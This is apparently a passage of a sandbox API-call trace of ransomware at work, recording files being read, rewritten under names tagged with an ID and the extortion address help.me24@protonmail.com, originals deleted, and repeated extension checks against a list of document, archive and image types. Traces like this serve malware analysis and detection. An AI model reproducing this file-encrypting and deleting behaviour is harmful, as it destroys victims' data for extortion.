	[0072.534] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe30, lpOverlapped=0x0) returned 1
	[0072.535] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.535] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0072.535] SetEndOfFile (hFile=0x338) returned 1
	[0072.535] CloseHandle (hObject=0x338) returned 1
	[0072.536] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.537] SetEndOfFile (hFile=0x320) returned 1
	[0072.537] CloseHandle (hObject=0x320) returned 1
	[0072.537] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.538] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1
	[0072.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0072.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0072.538] lstrlenW (lpString=".doc") returned 4
	[0072.538] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0072.538] lstrlenW (lpString=".docx") returned 5
	[0072.538] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1
	[0072.538] lstrlenW (lpString=".pdf") returned 4
	[0072.538] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0072.538] lstrlenW (lpString=".xls") returned 4
	[0072.538] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0072.538] lstrlenW (lpString=".xlsx") returned 5
	[0072.538] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1
	[0072.538] lstrlenW (lpString=".ppt") returned 4
	[0072.538] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0072.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0072.538] lstrlenW (lpString=".zip") returned 4
	[0072.538] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0072.538] lstrlenW (lpString=".rar") returned 4
	[0072.538] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0072.538] lstrlenW (lpString=".bz2") returned 4
	[0072.538] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0072.539] lstrlenW (lpString=".7z") returned 3
	[0072.539] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0072.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0072.539] lstrlenW (lpString=".dbf") returned 4
	[0072.539] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0072.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0072.539] lstrlenW (lpString=".1cd") returned 4
	[0072.539] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0072.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0072.539] lstrlenW (lpString=".jpg") returned 4
	[0072.539] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0072.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0072.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0072.539] lstrlenW (lpString=".doc") returned 4
	[0072.539] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0072.539] lstrlenW (lpString=".docx") returned 5
	[0072.539] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1
	[0072.539] lstrlenW (lpString=".pdf") returned 4
	[0072.539] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0072.539] lstrlenW (lpString=".xls") returned 4
	[0072.539] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0072.539] lstrlenW (lpString=".xlsx") returned 5
	[0072.539] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1
	[0072.539] lstrlenW (lpString=".ppt") returned 4
	[0072.539] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0072.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0072.539] lstrlenW (lpString=".zip") returned 4
	[0072.539] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0072.539] lstrlenW (lpString=".rar") returned 4
	[0072.539] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0072.539] lstrlenW (lpString=".bz2") returned 4
	[0072.539] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0072.539] lstrlenW (lpString=".7z") returned 3
	[0072.539] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0072.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0072.539] lstrlenW (lpString=".dbf") returned 4
	[0072.540] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0072.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0072.540] lstrlenW (lpString=".1cd") returned 4
	[0072.540] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0072.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0072.540] lstrlenW (lpString=".jpg") returned 4
	[0072.540] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0072.540] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.540] lstrlenW (lpString="ParameterInfo.xml") returned 17
	[0072.540] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.541] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=272046) returned 1
	[0072.541] CloseHandle (hObject=0x320) returned 1
	[0072.541] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80
	[0072.541] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.541] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.541] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0072.542] GetLastError () returned 0x0
	[0072.542] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x426ae, lpOverlapped=0x0) returned 1
	[0072.550] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x426b0, lpOverlapped=0x0) returned 1
	[0072.556] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.556] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0072.556] SetEndOfFile (hFile=0x338) returned 1
	[0072.556] CloseHandle (hObject=0x338) returned 1
	[0072.562] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.562] SetEndOfFile (hFile=0x320) returned 1
	[0073.081] CloseHandle (hObject=0x320) returned 1
	[0073.081] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0073.081] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1
	[0073.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0073.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0073.081] lstrlenW (lpString=".doc") returned 4
	[0073.081] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.081] lstrlenW (lpString=".docx") returned 5
	[0073.081] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0073.081] lstrlenW (lpString=".pdf") returned 4
	[0073.081] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.082] lstrlenW (lpString=".xls") returned 4
	[0073.082] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.082] lstrlenW (lpString=".xlsx") returned 5
	[0073.082] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0073.082] lstrlenW (lpString=".ppt") returned 4
	[0073.082] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0073.082] lstrlenW (lpString=".zip") returned 4
	[0073.082] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.082] lstrlenW (lpString=".rar") returned 4
	[0073.082] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.082] lstrlenW (lpString=".bz2") returned 4
	[0073.082] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.082] lstrlenW (lpString=".7z") returned 3
	[0073.082] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0073.082] lstrlenW (lpString=".dbf") returned 4
	[0073.082] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0073.082] lstrlenW (lpString=".1cd") returned 4
	[0073.082] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0073.082] lstrlenW (lpString=".jpg") returned 4
	[0073.082] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0073.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0073.082] lstrlenW (lpString=".doc") returned 4
	[0073.082] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.082] lstrlenW (lpString=".docx") returned 5
	[0073.082] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0073.082] lstrlenW (lpString=".pdf") returned 4
	[0073.082] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.082] lstrlenW (lpString=".xls") returned 4
	[0073.083] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.083] lstrlenW (lpString=".xlsx") returned 5
	[0073.083] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0073.083] lstrlenW (lpString=".ppt") returned 4
	[0073.083] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.083] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0073.083] lstrlenW (lpString=".zip") returned 4
	[0073.083] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.083] lstrlenW (lpString=".rar") returned 4
	[0073.083] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.083] lstrlenW (lpString=".bz2") returned 4
	[0073.083] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.083] lstrlenW (lpString=".7z") returned 3
	[0073.083] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.083] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0073.083] lstrlenW (lpString=".dbf") returned 4
	[0073.083] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.083] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0073.083] lstrlenW (lpString=".1cd") returned 4
	[0073.083] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.083] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0073.083] lstrlenW (lpString=".jpg") returned 4
	[0073.083] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.083] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0073.083] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0073.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.084] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=48936) returned 1
	[0073.084] CloseHandle (hObject=0x320) returned 1
	[0073.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0073.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0073.085] lstrlenW (lpString=".doc") returned 4
	[0073.085] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.085] lstrlenW (lpString=".docx") returned 5
	[0073.085] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0073.085] lstrlenW (lpString=".pdf") returned 4
	[0073.085] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.085] lstrlenW (lpString=".xls") returned 4
	[0073.085] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.085] lstrlenW (lpString=".xlsx") returned 5
	[0073.085] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0073.085] lstrlenW (lpString=".ppt") returned 4
	[0073.085] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0073.085] lstrlenW (lpString=".zip") returned 4
	[0073.085] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.085] lstrlenW (lpString=".rar") returned 4
	[0073.085] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.085] lstrlenW (lpString=".bz2") returned 4
	[0073.085] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.085] lstrlenW (lpString=".7z") returned 3
	[0073.085] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0073.085] lstrlenW (lpString=".dbf") returned 4
	[0073.085] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0073.085] lstrlenW (lpString=".1cd") returned 4
	[0073.085] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0073.085] lstrlenW (lpString=".jpg") returned 4
	[0073.085] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0073.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0073.086] lstrlenW (lpString=".doc") returned 4
	[0073.086] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.086] lstrlenW (lpString=".docx") returned 5
	[0073.086] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0073.086] lstrlenW (lpString=".pdf") returned 4
	[0073.086] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.086] lstrlenW (lpString=".xls") returned 4
	[0073.086] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.086] lstrlenW (lpString=".xlsx") returned 5
	[0073.086] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0073.086] lstrlenW (lpString=".ppt") returned 4
	[0073.086] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0073.086] lstrlenW (lpString=".zip") returned 4
	[0073.086] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.086] lstrlenW (lpString=".rar") returned 4
	[0073.086] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.086] lstrlenW (lpString=".bz2") returned 4
	[0073.086] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.086] lstrlenW (lpString=".7z") returned 3
	[0073.086] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0073.086] lstrlenW (lpString=".dbf") returned 4
	[0073.086] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0073.086] lstrlenW (lpString=".1cd") returned 4
	[0073.086] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0073.086] lstrlenW (lpString=".jpg") returned 4
	[0073.086] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.086] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0073.087] lstrlenW (lpString="boxed-join.avi") returned 14
	[0073.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.090] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=46622) returned 1
	[0073.090] CloseHandle (hObject=0x320) returned 1
	[0073.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0073.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0073.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0073.091] lstrlenW (lpString=".doc") returned 4
	[0073.091] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.091] lstrlenW (lpString=".docx") returned 5
	[0073.091] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0073.091] lstrlenW (lpString=".pdf") returned 4
	[0073.091] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.091] lstrlenW (lpString=".xls") returned 4
	[0073.091] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.091] lstrlenW (lpString=".xlsx") returned 5
	[0073.091] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0073.091] lstrlenW (lpString=".ppt") returned 4
	[0073.091] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0073.091] lstrlenW (lpString=".zip") returned 4
	[0073.091] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.091] lstrlenW (lpString=".rar") returned 4
	[0073.091] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.091] lstrlenW (lpString=".bz2") returned 4
	[0073.091] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.091] lstrlenW (lpString=".7z") returned 3
	[0073.091] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0073.091] lstrlenW (lpString=".dbf") returned 4
	[0073.091] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0073.092] lstrlenW (lpString=".1cd") returned 4
	[0073.092] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0073.092] lstrlenW (lpString=".jpg") returned 4
	[0073.092] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0073.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0073.092] lstrlenW (lpString=".doc") returned 4
	[0073.092] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.092] lstrlenW (lpString=".docx") returned 5
	[0073.092] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0073.092] lstrlenW (lpString=".pdf") returned 4
	[0073.092] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.092] lstrlenW (lpString=".xls") returned 4
	[0073.092] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.092] lstrlenW (lpString=".xlsx") returned 5
	[0073.092] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0073.092] lstrlenW (lpString=".ppt") returned 4
	[0073.092] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0073.092] lstrlenW (lpString=".zip") returned 4
	[0073.092] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.092] lstrlenW (lpString=".rar") returned 4
	[0073.092] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.092] lstrlenW (lpString=".bz2") returned 4
	[0073.092] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.092] lstrlenW (lpString=".7z") returned 3
	[0073.092] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0073.092] lstrlenW (lpString=".dbf") returned 4
	[0073.092] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0073.092] lstrlenW (lpString=".1cd") returned 4
	[0073.092] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0073.093] lstrlenW (lpString=".jpg") returned 4
	[0073.093] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.093] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0073.093] lstrlenW (lpString="correct.avi") returned 11
	[0073.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.093] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=180172) returned 1
	[0073.093] CloseHandle (hObject=0x320) returned 1
	[0073.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20
